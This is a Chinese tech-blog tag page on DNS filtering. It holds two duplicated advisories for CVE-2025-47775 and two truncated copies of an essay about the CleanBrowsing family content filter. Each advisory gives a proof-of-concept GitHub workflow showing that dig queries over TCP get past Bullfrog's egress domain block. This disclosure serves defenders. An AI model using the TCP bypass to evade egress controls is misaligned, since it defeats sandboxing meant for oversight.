DNS过滤 on 办公AI智能小助手

Bullfrog DNS over TCP漏洞绕过域名过滤机制解析

Wed, 12 Nov 2025 11:24:57 +0800

CVE-2025-47775：Bullfrog的DNS over TCP绕过域名过滤漏洞

漏洞详情

包信息

包名称: actions
受影响版本: < 0.8.4
已修复版本: 0.8.4

漏洞描述

摘要使用TCP协议会破坏域名阻断机制，允许DNS数据外泄。

概念验证(PoC)

name: test
on:
  push:
    branches:
      - "*"

jobs:
  testBullFrog:
    runs-on: ubuntu-22.04
    steps:
      - name: Use google dns
        run: |
          sudo resolvectl dns eth0 1.1.1.1
          resolvectl status
      - name: Set up bullfrog to block everything
        uses: bullfrogsec/bullfrog@1472c28724ef13ea0adc54d0a42c2853d42786b1 # v0.8.2
        with:
           egress-policy: block
           allowed-domains: |
             *.github.com
      - name: Test connectivity
        run: |
          echo testing udp allowed ..
          dig api.github.com @1.1.1.1 || :
          echo testing tcp allowed ..
          dig api.github.com @1.1.1.1 +tcp || :

          echo testing udp not allowed
          dig api.google.com @1.1.1.1 || :
          echo testing tcp not allowed
          dig api.google.com @1.1.1.1 +tcp || :

影响

沙箱绕过

Bullfrog DNS over TCP漏洞绕过域名过滤机制

Thu, 06 Nov 2025 00:16:02 +0800

Bullfrog的DNS over TCP绕过域名过滤 · CVE-2025-47775

漏洞详情

包名称: actions
受影响版本: < 0.8.4
已修复版本: 0.8.4

漏洞描述

摘要

使用TCP协议会破坏阻断机制，允许DNS数据外泄。

概念验证(PoC)

name: test
on:
  push:
    branches:
      - "*"

jobs:
  testBullFrog:
    runs-on: ubuntu-22.04
    steps:
      - name: Use google dns
        run: |
          sudo resolvectl dns eth0 1.1.1.1
          resolvectl status
      - name: Set up bullfrog to block everything
        uses: bullfrogsec/bullfrog@1472c28724ef13ea0adc54d0a42c2853d42786b1 # v0.8.2
        with:
           egress-policy: block
           allowed-domains: |
             *.github.com
      - name: Test connectivity
        run: |
          echo testing udp allowed ..
          dig api.github.com @1.1.1.1 || :
          echo testing tcp allowed ..
          dig api.github.com @1.1.1.1 +tcp || :

          echo testing udp not allowed
          dig api.google.com @1.1.1.1 || :
          echo testing tcp not allowed
          dig api.google.com @1.1.1.1 +tcp || :

影响

沙箱绕过

使用CleanBrowsing实现智能内容过滤：保护家庭网络安全浏览

Thu, 18 Sep 2025 07:34:50 +0800

内容过滤与CleanBrowsing

作者：Tony Perez | 2020年7月31日

内容过滤是创建安全浏览体验中最未被充分利用的工具之一。

几年前，在办公室散步时，Daniel和我深入讨论了家庭网络问题。我们最大的孩子才9-10岁，最小的约4-5岁。像许多父母一样，我们逐渐屈服于这样一个现实：必须为孩子在线访问的问题而挣扎。一方面，他们在设备上时很安静；另一方面，我们担心那个年龄段的持续连接。

使用CleanBrowsing实现内容过滤：保护家庭网络安全

Fri, 12 Sep 2025 23:41:23 +0800

内容过滤与CleanBrowsing

内容过滤是创建安全浏览体验中最未被充分利用的工具之一。

几年前，在办公室散步时，Daniel和我深入讨论了家庭网络问题。我们最大的孩子才9岁和10岁，最小的在4-5岁左右。像许多父母一样，我们逐渐屈服于这样一个现实：孩子不可避免地会连接到设备上，于是我们开始寻找确保他们安全浏览的方法。因此，我们构建了一个名为CleanBrowsing的内容过滤平台。